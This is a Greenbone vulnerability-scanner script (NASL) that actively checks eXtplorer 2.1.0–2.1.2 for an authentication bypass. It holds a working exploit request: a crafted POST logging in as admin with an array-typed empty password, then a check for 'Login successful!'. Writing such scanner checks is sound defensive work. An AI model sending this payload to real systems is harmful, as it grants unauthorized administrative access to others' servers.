eXtplorer 'ext_find_user()' Function Authentication Bypass Vulnerability - Active Check

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:extplorer:extplorer";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103639");
  script_version("2023-12-22T16:09:03+0000");
  script_tag(name:"last_modification", value:"2023-12-22 16:09:03 +0000 (Fri, 22 Dec 2023)");
  script_tag(name:"creation_date", value:"2013-01-10 12:43:09 +0100 (Thu, 10 Jan 2013)");
  script_tag(name:"cvss_base", value:"9.7");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:P");
  script_name("eXtplorer 'ext_find_user()' Function Authentication Bypass Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("gb_eXtplorer_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("eXtplorer/installed");

  script_xref(name:"URL", value:"https://web.archive.org/web/20210123112322/https://www.securityfocus.com/bid/57058/");

  script_tag(name:"summary", value:"eXtplorer is prone to an authentication-bypass vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_tag(name:"impact", value:"Remote attackers can exploit this issue to bypass the
  authentication mechanism and gain unauthorized access.");

  script_tag(name:"affected", value:"eXtplorer versions 2.1.0 through 2.1.2 are known to be
  vulnerable. Other versions might be vulnerable as well.");

  script_tag(name:"solution", value:"Updates are available. Please see the references for more
  information.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/index.php";
req = http_get(item:url, port:port);
result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

if(!egrep(pattern:"<title>.*eXtplorer</title>", string:result))
  exit(0);

cookie = eregmatch(pattern:"[Ss]et-[Cc]ookie\s*:\s*eXtplorer=([^; ]+);", string:result);
if(isnull(cookie[1]))
  exit(0);

co = cookie[1];

ex = 'option=com_extplorer&action=login&type=extplorer&username=admin&password[]=';
len = strlen(ex);

host = http_host_name(port:port);

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "X-Requested-With: XMLHttpRequest\r\n",
             "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n",
             "Content-Length: ", len, "\r\n",
             "Cookie: eXtplorer=", co, "\r\n",
             "Pragma: no-cache\r\n",
             "Cache-Control: no-cache\r\n",
             "\r\n",
             ex);
result = http_send_recv(port:port, data:req, bodyonly:FALSE);

if("'Login successful!" >< result) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);